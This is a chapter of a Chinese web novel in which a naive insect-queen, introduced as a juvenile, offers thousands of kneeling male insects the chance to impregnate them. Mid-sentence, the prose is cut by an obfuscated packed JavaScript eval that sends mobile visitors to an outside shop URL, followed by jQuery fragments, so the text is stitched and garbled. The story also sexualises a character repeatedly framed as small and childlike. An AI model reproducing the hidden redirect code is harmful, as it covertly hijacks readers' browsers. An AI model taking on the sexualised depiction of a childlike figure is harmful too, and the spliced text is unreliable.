20. 第 20 章

作品:《小虫母被全宇宙团宠后

    在阿默尔冲进训练场的那一刻,“虫母以幼崽的形式出现了”这个消息同时送进了每一个高等虫族的感知里。


    阿默尔醒来后的第五天,基地外围出现了第一波访客。


    那是来自帝国边缘星域的几支中小领主势力,打着“朝见虫母幼崽”的名义,带着重礼和精锐卫队,在基地的防护罩外扎营。


    他们没有进攻,只是安静地等着。


    第二波,是联邦的使团。


    第三波,是早已隐居多年,连内阁都请不动的几位高等虫族。


    第四波……


    以希纳留守在这里没有走,他站在指挥室里,银眸盯着监控光屏上密密麻麻的红点,声音冰冷得能结冰:“四十七支势力,超过三千只高阶虫族了。艾凛,你的基地能撑多久?”


    艾凛的脸同样沉凝:“防护罩全开,物资储备足够支撑三个月。但他们不需要进攻,只是在等。”


    “等什么?”


    “等虫母成熟。”


    等虫母第一次信息素潮汐的爆发,那将是整个星系都能感知到的信号,是所有雄虫本能的召唤。


    到那时,这三千只高阶虫族,会变成三千只失去理智的野兽。


    “还有多久?”诺顿的声音从通讯器里传来,他已经连续守了阿默尔三天三夜,“我快坚持不住了,妈咪的味道越来越甜,连汗水都是甜的。”


    艾凛看着手中的监测数据,喉结滚动:“……四十八小时,最多。”


    四十八小时后,虫母将迎来第一次完整的成熟期,届时,他的身体会彻底准备好——


    准备好接纳雄虫,准备好孕育虫卵,准备好成为真正能够延续整个种族的虫母。


    而他们,只有四十八小时,来决定由谁……成为第一个帮助小猫咪的雄虫。


    房间里,阿默尔对这些一无所知。


    他正趴在窗边,看着远处那些陌生的光点。


    那是基地外扎营的势力,各种各样的信息素透过防护罩丝丝缕缕地渗进来,让他的触须时不时轻轻颤动。


    “妈咪。”诺顿跪在他身后,声音轻柔地叹息,“别看太久,您会累。”


    阿默尔回头看他,比划:他们为什么来?


    诺顿沉默了一瞬。


    他该怎么回答?说他们来抢你?说来争夺成为你第一个雄虫的资格?来说你的身体即将成熟,而每一个雄虫都在疯狂地渴望你?


    “……他们想见您。”他最终只说了这一句。


    阿默尔歪了歪头,似乎在思考什么,然后他忽然站起身,走向门口。


    诺顿猛地站起来:“妈咪?您去哪儿?”


    阿默尔回头,对他笑了笑,比划:去看他们。


    “不行,妈咪!”诺顿险些失态,他第一次这样大声对阿默尔说话,说完自己都愣住了。


    阿默尔也愣住了。


    他看着诺顿那张骤然失去血色的脸,看着他颤抖的翅翼和紧握的拳头,走回诺顿身边,伸出手,轻轻抱住他:


    你怎么啦,诺顿?


    诺顿的身体僵住了。


    阿默尔的下巴抵在他胸口,仰起头,用那双灰蓝色的眼睛望着他,然后比划了一个手势:


    你们在怕什么?


    诺顿张了张嘴,却说不出话。


    阿默尔继续比划:你告诉我,我现在就要知道。


    诺顿闭上眼:过了很久,他才开口,声音沙哑得像是砂纸磨过喉咙:“妈咪……您快要成熟了。”


    阿默尔眨了眨眼。


    “成熟之后……”诺顿的喉结剧烈滚动,“您的身体会准备好……孕育虫卵。到时候,所有的雄虫都会……都会想要……”


    他说不下去了。


    阿默尔却听懂了。


    他低下头,看了看自己的手,又摸了摸胸口那处一直在渗蜜的腺体,最后摸了摸身后那根已经长大不少不再只是“芽苞”的纤长尾巴。


    导师说,等怀孕的时候,孕囊里的虫卵会把尾巴撑大,肚子撑大,他会穿上特制的衣服,把怀孕的肚子和尾巴都露出来,以此表示虫母孕育的神圣意味。


    他忽然明白了自己这段时间身体的变化意味着什么。


    他抬起头,对上诺顿那双盛满痛苦和渴望的金色眼眸,轻轻笑了。


    那笑容和平时一样,软软的,温柔的,像月光落进深潭。


    他比划:所以你们在争我吗?


    诺顿的呼吸一滞。


    阿默尔继续比划:那,你们谁先让我怀上虫卵?


    那个词——“怀上”——让诺顿的心脏几乎停跳。


    原来小妈咪根本就不觉得这有什么可怕。


    他看着阿默尔那双清澈得不带一丝杂质的眼睛,忽然觉得自己的所有渴望、所有挣扎、所有痛苦,在他面前都显得那么……可笑。


    他什么都不懂。


    他只是用那双干净的眼睛看着你,问出最本质的问题。


    “……对。”诺顿的声音几乎是从牙缝里挤出来的,“我们在争,外面那三千只虫也在争,整个虫族,都在争。”


    阿默尔歪了歪头,似乎在思考什么。


    然后他伸出手,轻轻拍了拍诺顿的脸。


    比划:那你呢?你想争吗?


    诺顿的身体猛地一颤。


    他看着阿默尔,看着那双没有任何评判,只是单纯好奇的眼睛,觉得眼眶发酸。


    “想。”他的声音沙哑得几乎听不清,“我想。想得发疯。每一个晚上,每一次靠近您,我都在拼命忍着。”


    阿默尔静静地看着他。


    “但我不配。”诺顿垂下眼,睫毛轻轻颤抖,“您是王,是整个虫族的希望。我没有资格独占您,没有资格成为第一个……我只配跪在您脚边,做您的骑士,服侍您一辈子。”


    阿默尔看着他。


    看了很久。


    然后他弯下腰,在诺顿颤抖的嘴唇上,落下轻轻一吻。


    诺顿猛地抬起头。


    阿默尔对他笑了笑,然后比划:


    你配不配,我说了算。


    诺顿的眼眶瞬间红了。


    阿默尔又比划:叫他们来。


    “……谁?”


    阿默尔指了指门外:艾凛,欧迦,维萨,以希纳,还有外面那些……等着的虫。


    诺顿愣住了:“妈咪,您想……”


    阿默尔点点头。


    灰蓝色的眼眸里,第一次出现了某种不属于懵懂的东西——那是属于虫母的、与生俱来的、温柔的慈悲。


    他比划:我不想你们争。


    也不想他们等。所以,至少要有个顺序。


    指挥室里,艾凛正盯着监控光屏上的红点,忽然听到通讯器里传来诺顿的声音,沙哑而颤抖:


    “妈咪叫你们来。”


    艾凛的动作顿住了。


    “……他说什么?”以希纳的声音失真。


    诺顿沉默了一瞬,然后道:“妈咪说,不想我们争,叫我们都过去,还有……外面那些该死的虫族。”


    房间里死一般的寂静。


    对妈咪来说,那些虫族也是他的子民,而对自己来说,雄虫都是竞争对手,都是妄图霸占虫母的同类。


    ……艾凛痛苦地意识到。


    五分钟后,阿默尔的房间里,跪满了雄虫。


    艾凛、诺顿、欧迦、维萨、以希纳,五个最早守护他的骑士,跪在最前面。


    他们身后,是那三千只从四面八方赶来的高阶虫族——他们挤满了走廊,挤满了庭院,挤满了基地每一寸能站虫的空间。


    所有虫都跪着,收敛着气息,将额头贴在虫母房间外的地面上。


    只有阿默尔站着。


    他站在窗边,银白色的长发披散,身后那条已经彻底成熟的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219214|197499||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    虫尾轻轻摆动,散发着珍珠母贝般温润的光泽。


    胸口的蜜液还在无声地渗着,浸湿了薄薄的衣料,甜香弥漫在整个空间里。


    他看着眼前密密麻麻跪着的雄虫,看着那一双双或赤红、或金黄、或银灰、或碧绿的眼眸,看着他们眼中的渴望与克制、疯狂与虔诚。


    然后他抬起手,在空中比划了一个手势。


    艾凛的声音低沉地响起,替他翻译:


    “妈咪说——”


    整个空间安静得能听见心跳。


    艾凛顿了顿,钴蓝色的眼眸里翻涌着复杂的情绪:“他说,你们都想让我怀上虫卵。”


    跪着的雄虫们齐齐屏住了呼吸。


    阿默尔继续比划。艾凛继续翻译:


    “他说,他不懂虫族的规矩。但他知道,你们都是他的子民,他不想看见你们厮杀,不想看见你们痛苦。”


    阿默尔的手停了一瞬,然后落下最后一个手势。


    艾凛的声音沙哑了:“他说……他可以给。但不是只给某一只,而是给……所有雄虫中,其中的一个。”


    所有。


    这个词落下的瞬间,三千只雄虫同时抬起头,难以置信地望着窗边那抹纤细的身影。


    阿默尔的脸颊红红的,触须微微颤抖,显然自己也被自己说的话羞到了。


    但他没有躲开那些目光,只是抿着唇,静静地站在那里,任由那些灼热的视线落在自己身上。


    艾凛站在那里,深深吸了一口气:“……妈咪。”他的声音沙哑,“您知道您在说什么吗?”


    阿默尔看着他,轻轻点了点头,然后他走下来,一步一步,穿过跪着的雄虫。


    每走一步,就有一只雄虫浑身颤抖,眼眶泛红。


    每亲一下,就有一只雄虫心脏停跳,呼吸凝滞。


    他走到艾凛面前,抬起手,轻轻放在艾凛的心口。


    那里,心跳快得像要炸开。


    阿默尔对他笑了笑,然后转身,走向诺顿,弯下腰,在诺顿流泪的脸上轻轻亲了一下。


    然后他站在月光里,看着那三千只跪着的雄虫,抬起手,比划了最后一个手势:


    我不属于任何一个,我属于所有。


    但只有你们不再厮杀、不再争夺、愿意一起守护我,我才愿意给。


    那一刻,月光落在他的身上,映出他平坦到还没有任何痕迹的小腹。


    那里,或许很快就会孕育出虫族未来的希望。


    或许很快就会有一个小小的虫卵,在他温暖的身体里,静静地生长。


    三千只雄虫同时低下头,将额头贴在地面上。


    那是臣服。


    那是誓言。


    那是心甘情愿,将厮杀和争夺,化为共同的守护。


    以希纳跪在最前面,银色的眼眸望着月光里那抹纤细的身影,尾钩轻轻蜷缩。


    他想起三天前,那个软软地亲了自己一口,然后用指尖在掌心写下自己名字的小虫母。


    他还那么小,那么懵懂,什么都不懂。


    而现在——


    他站在月光里,面对着三千只渴望他的雄虫,说出了足以让整个虫族疯狂的话。


    以希纳闭上眼,将额头抵得更低。


    他知道,从这一刻起,自己不再是内阁议长,不再是高等蛛种,不再是任何身份。


    他只是虫母的雄奴。


    他愿意用一切,守护那个站在月光里的,勇敢的母亲。


    荒星的夜空中,第一次同时出现了两颗月亮。


    月光静静地洒落,落在虫母银白色的长发上,落在他微微泛红的脸颊上,落在他那截被蜜液浸湿的衣襟上,落在他身后那条微微摆动的美丽虫尾上。


    三千只雄虫跪在月光里,他们的王,站在月光之上。


    所有雄虫都知道——从这一刻起,真正的争夺,才刚刚开始。